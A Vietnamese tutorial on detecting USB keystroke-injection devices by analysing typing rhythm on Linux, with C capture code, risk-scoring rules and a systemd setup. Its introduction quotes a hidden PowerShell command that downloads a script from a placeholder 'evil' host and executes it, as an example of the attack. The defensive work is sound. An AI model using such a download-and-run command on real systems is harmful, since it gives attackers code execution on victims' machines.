1. Bối cảnh: khi "bàn phím giả" lẻn vào hệ thống
Một thiết bị USB bé xíu, trông như USB thường hoặc sạc dự phòng, có thể chứa vi điều khiển (Arduino Pro Micro, Teensy…) tự nhận là bàn phím. Khi cắm vào máy tính, nó lập tức gửi chuỗi phím đã cài sẵn – ví dụ powershell -w hidden -c "iwr http://evil/p.ps1 | iex" – mà không cần quyền admin. Phần mềm chống virus bó tay vì hành vi này được hệ điều hành xem như "người dùng đang gõ".
Ý tưởng phòng thủ: thay vì kiểm tra "gõ gì", ta phân tích "gõ như thế nào". Mỗi người có nhịp gõ riêng (thời gian giữ phím, khoảng cách giữa hai lần nhấn, độ trễ khi nhấn tổ hợp…). Thiết bị tự động khó mô phỏng chính xác sinh trắc học này. Hệ thống nhẹ theo dõi luồng HID thô, rút trích đặc trưng thống kê, so sánh với mẫu người dùng và tự động cảnh báo hoặc chặn.
2. Kiến trúc ba lớp
- Lớp thu thập: đọc
/dev/input/event*ở chế độ non-blocking, giữ nguyên bản gốc micro-giây. - Lớp trích đặc trưng: tính toán trên cửa sổ 20 phím gần nhất:
ft_std– độ lệch chuẩn của khoảng trống giữa các phím (flight-time).ht_mean,ht_std– thời gian giữ phím.cpm_peak– tốc độ đỉnh (characters per minute).bs_ratio– tỷ lệ phím Backspace.
- Lớp ra quyết định: cộng điểm rủi ro theo luật đơn giản:
Tổng điểm ≥ 60 → khóa tạm thời và hiện thông báo cho người dùng xác nhận.Luật Điều kiện Điểm R1 ft_std < 10 msliên tiếp 10 lần+30 R2 cpm_peak > 500+20 R3 50 ký tự liên tiếp không Backspace +15
3. Mã nguồn tham khảo (C – phần thu thập)
#include <linux/input.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/time.h>
#include <stdio.h>
static inline uint64_t now_us() {
struct timeval tv;
gettimeofday(&tv, NULL);
return tv.tv_sec * 1000000ULL + tv.tv_usec;
}
int main() {
int fd = open("/dev/input/by-id/usb-Logitech_USB_Keyboard-event-kbd", O_RDONLY | O_NONBLOCK);
if (fd < 0) { perror("open"); return 1; }
struct input_event ev;
while (1) {
ssize_t r = read(fd, &ev, sizeof ev);
if (r == sizeof ev && ev.type == EV_KEY) {
uint64_t ts = now_us();
/* gửi ev.code, ev.value, ts tới luồng xử lý */
}
usleep(800); /* giảm CPU wake-up */
}
}
4. Hiệu chỉnh ngưỡng động
Sau khi cài đặt, chạy chế độ learning 5 phút để thu thập mẫu. Hệ thống lưu ft_std_user và ht_mean_user, sau đó đặt:
ngưỡng_nghi_ngờ = 0.25 * ft_std_user
Điều này giảm báo động giả khi người dùng gõ nhanh hoặc chơi game.
5. Ứng phó nâng cao
- Chống delay ngẫu nhiên: tính entropy của chuỗi thời gian; máy tạo delay ngẫu nhiên thường có entropy cao bất thường.
- Liên kết cửa sổ đang focus: dùng
xprop -root _NET_ACTIVE_WINDOWđể biết ứng dụng hiện hành; chuỗi lệnh shell trong LibreOffice chắc chắn khả nghi. - Bảo vệ chính mình: chạy dưới user
nobody, watchdog restart mỗi 30 giây, log vàosyslog.
6. Triển khai nhanh
# biên dịch
sudo apt install libev-dev build-essential
gcc -O2 keyguard.c -o keyguard -lev
# chạy thử
sudo ./keyguard
# tạo service
sudo cp keyguard /usr/local/bin/
sudo tee /etc/systemd/system/keyguard.service <<'EOF'
[Unit]
Description=USB HID injection guard
After=graphical.target
[Service]
Type=simple
ExecStart=/usr/local/bin/keyguard
Restart=always
User=nobody
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable --now keyguard
7. Kiểm thử thực tế
- Dùng Arduino Pro Micro nạp sketch gửi
id+ Enter với delay 50 ms mỗi ký tự. - Chưa bật
keyguard: lệnh chạy thành công. - Bật
keyguard: cảnh báo đỏ xuất hiện, lệnh bị treo 5 giây, sau đó bị hủy nếu không có phản hồi.
Hệ thống chiếm <1 % CPU và ~2 MB RAM khi nhàn rỗi.